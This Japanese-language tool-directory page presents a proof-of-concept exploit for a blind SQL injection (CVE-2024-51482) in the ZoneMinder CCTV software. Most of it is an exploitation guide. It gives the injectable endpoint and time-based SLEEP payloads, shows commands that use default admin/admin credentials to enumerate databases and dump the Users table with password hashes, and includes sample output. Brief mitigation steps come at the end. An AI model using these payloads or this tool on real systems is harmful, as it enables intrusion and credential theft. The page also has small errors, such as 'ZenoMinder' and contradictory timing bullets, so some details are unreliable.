Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/bridgeralderson/cve-2024-51482
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHubbridgeralderson/cve-2024-51482

CVE-2024-51482

ZenoMinder ブラインドSQLインジェクション PoC

リポジトリを見る
8466ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクション

目次

  • 概要
  • 脆弱性の詳細
  • 技術的分析
  • 悪用ガイド
  • インストール
  • 使用例
  • 緩和策
  • 参考文献

概要

CVE-2024-51482は、人気のオープンソースCCTV監視ソフトウェアZoneMinderで発見された深刻なブールベースのSQLインジェクション脆弱性です。この欠陥はバージョン1.37.*から1.37.64に影響し、低権限の認証された攻撃者がデータベースサーバー上で任意のSQLコマンドを実行することを可能にします。

メトリック値
CVE IDCVE-2024-51482
CVSSスコア9.9 (緊急)
攻撃ベクトルネットワーク
必要な権限低
ユーザー操作なし
スコープ変更あり
影響機密性、完全性、可用性 - 高
パッチ適用バージョン1.37.65

脆弱性の詳細

影響を受けるバージョン

  • 脆弱: ZoneMinder v1.37.0~v1.37.64
  • パッチ済み: ZoneMinder v1.37.65以降

根本原因

脆弱性はweb/ajax/event.phpファイル内のremovetag関数に存在します。パラメータtid(タグID)が、適切なサニタイズやパラメータ化なしにSQLクエリに直接連結されています。

脆弱なコード:

root@kitploit:~
case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // 脆弱! 
    $rowCount = dbNumRows($sql); 
    // ...

修正されたコード:

root@kitploit:~
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // パラメータ化クエリ

攻撃ベクトル

脆弱なエンドポイントは以下でトリガーされます:

root@kitploit:~
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[注入ポイント]

技術的分析

なぜブールベースのブラインドインジェクションか?

注入ポイントは応答にクエリ結果を直接返さないため、従来のUNIONベースの攻撃は不可能です。代わりに、ブール条件または時間遅延を通じて情報を推測する必要があります。

  • ブールベースの手法:
    • 真の条件 → 通常の応答時間
    • 偽の条件 → 通常の応答時間
    • アプリケーションの動作に観測可能な差異が必要
  • 時間ベースの手法(より信頼性が高い):
    • 真の条件 → 遅延応答(SLEEP)
    • 偽の条件 → 通常の応答時間

エクスプロイトのメカニズム

私たちのエクスプロイトは、SLEEP()関数を使用した時間ベースの抽出を利用します:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

この条件が真と評価されると、データベースは2秒間スリープし、HTTP応答に測定可能な遅延が生じます。

文字抽出プロセス

  • 二分探索: 各文字位置について、ASCII(SUBSTRING()) > MIDを使用して範囲をテストします。
  • 時間測定: 条件が真の場合、SLEEPがトリガーされます。
  • 文字再構築: 文字を1文字ずつ組み立てます。

位置1の文字を抽出するペイロード例:

root@kitploit:~
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

悪用ガイド

前提条件

  • ZoneMinder 1.37.0~1.37.64が動作しているターゲット
  • 有効な認証情報(デフォルト:admin/admin)
  • ZoneMinder Webインターフェースへのネットワークアクセス

インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# スクリプトを実行可能に
chmod +x CVE-2024-51482.py

# 必要な依存関係をインストール
pip3 install requests

基本的な使い方

root@kitploit:~
# ターゲットが脆弱かテスト
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --test

# すべてのデータベースを発見
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --discover

# 特定のデータベースのテーブルを一覧表示
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --tables zm

# 特定のテーブルのカラムを一覧表示
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --columns zm Users

# 特定のカラムからデータをダンプ
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --dump zm Users "Username,Password"

# ユーザーテーブルをダンプ(デフォルト)
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users

# 詳細な抽出プロセスのデバッグ出力を有効化
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users --debug

# より信頼性の高い抽出のためにスリープ時間を調整
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users --sleep 3

# 色付き出力を無効化
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users --no-color

使用例

例1:脆弱性テスト

root@kitploit:~
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクションエクスプロイト
[*] ターゲット: 192.168.1.100
[*] 192.168.1.100 に 'admin' としてログイン中...
[+] ログイン成功
[*] ベースライン応答時間を測定中...
[*] ベースライン中央値: 0.058s
[*] 2秒スリープで脆弱性をテスト中...
[+] ターゲットは脆弱です!

例2:データベース列挙

root@kitploit:~
$ python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクションエクスプロイト
[*] ターゲット: <ターゲットホスト>
[*] <ターゲットホスト> に 'admin' としてログイン中...
[+] ログイン成功
[*] ベースライン応答時間を測定中...
[*] ベースライン中央値: 0.065s
[*] 2秒スリープで脆弱性をテスト中...
[+] ターゲットは脆弱です!
[*] データベースを列挙中...
[+] データベースを発見: information_schema
[+] データベースを発見: performance_schema
[+] データベースを発見: zm
[+] 見つかったデータベース: 
1. information_schema 
2. performance_schema 
3. zm

例3:ユーザー認証情報のダンプ

root@kitploit:~
$ python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder ブラインドSQLインジェクションエクスプロイト
[*] ターゲット: <ターゲットホスト>
[*] <ターゲットホスト> に 'admin' としてログイン中...
[+] ログイン成功
[*] ベースライン応答時間を測定中...
[*] ベースライン中央値: 0.062s
[*] 2秒スリープで脆弱性をテスト中...
[+] ターゲットは脆弱です!
[*] zmデータベースからUsersテーブルをダンプ中...
[*] 'zm.Users'のカラムを列挙中...
[+] カラムを発見: Id
[+] カラムを発見: Username
[+] カラムを発見: Password
[+] カラムを発見: Language
[+] カラムを発見: Enabled
[*] 'zm.Users'からデータをダンプ中...
[+] 行1: {'Username': 'admin', 'Password': '$2y$10$...ハッシュ化...'}
[+] 行2: {'Username': 'operator', 'Password': '$2y$10$...ハッシュ化...'}
[+] 抽出されたユーザー: 2 
ユーザー: admin 
パスワード: $2y$10$...ハッシュ化... 
メール: admin@localhost 
有効: 1 
ユーザー: operator 
パスワード: $2y$10$...ハッシュ化... 
メール: operator@localhost 
有効: 1

例4:カスタムデータ抽出

root@kitploit:~
# Eventsテーブルから特定のカラムをダンプ
python3 CVE-2024-51482.py -i <ターゲットホスト> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

エクスプロイトの仕組み

ステップごとの解説

  1. 認証: スクリプトはまずZoneMinderに認証し、有効なセッションクッキーを取得します。
  2. ベースライン測定: 5回の通常リクエストを送信し、平均応答時間を確立します。
  3. 脆弱性の確認: SLEEP(2)ペイロードで注入が機能することをテストします。
  4. 文字抽出: 各文字位置について、二分探索でASCII値を決定します:
    • クエリ:ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
    • 条件が真の場合 → SLEEPがトリガー → 応答が遅延
    • 条件が偽の場合 → 即時応答
  5. 文字列再構築: 文字を連結して完全な文字列を形成します。

主な機能

  • 二分探索アルゴリズム: 1文字あたり約log₂(95) ≈ 7リクエストで文字を抽出。
  • 適応的タイミング: 正確な検出のためベースラインを自動調整。
  • 進捗表示: リアルタイムの抽出進捗を表示。
  • エラー回復: 接続タイムアウトを適切に処理。
  • デバッグモード: 文字単位の詳細な抽出プロセスを表示。

緩和策

即時の対応

  • ZoneMinderをバージョン1.37.65以降に更新:
    root@kitploit:~
    sudo apt-get update
    sudo apt-get install zoneminder
    
  • パッチ適用が不可能な場合、脆弱なスクリプトへのアクセスを制限:
    root@kitploit:~
    # Apache構成 
    Require ip 192.168.0.0/16
    
  • データベースアカウントには最小権限の原則を実装。
  • SQLインジェクションの試行をログで監視:
    root@kitploit:~
    grep -i "sleep\|union\|select" /var/log/zm/*.log
    

長期的な推奨事項

  • すべてのデータベース操作にパラメータ化クエリを使用。
  • Webアプリケーションファイアウォール(WAF)ルールを実装。
  • 定期的なセキュリティ監査とペネトレーションテスト。
  • ZoneMinderとすべての依存関係を最新に保つ。

参考文献

  • GitHubセキュリティアドバイザリ - GHSA-qm8h-3xvf-m7j3
  • NVDエントリ - CVE-2024-51482
  • パッチコミット
  • CISA脆弱性強化
  • Tenable Nessusプラグイン
  • Check Pointアドバイザリ

免責事項

このツールは教育およびセキュリティテスト目的のみで提供されています。コンピュータシステムの無許可テストは違法です。システムをテストする前に必ず適切な許可を得てください。

CVSSベクター文字列

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

ツールをダウンロード
メトリック値
攻撃ベクトルネットワーク
攻撃の複雑さ低
必要な権限低
ユーザー操作なし
スコープ変更あり
機密性高
完全性高
可用性高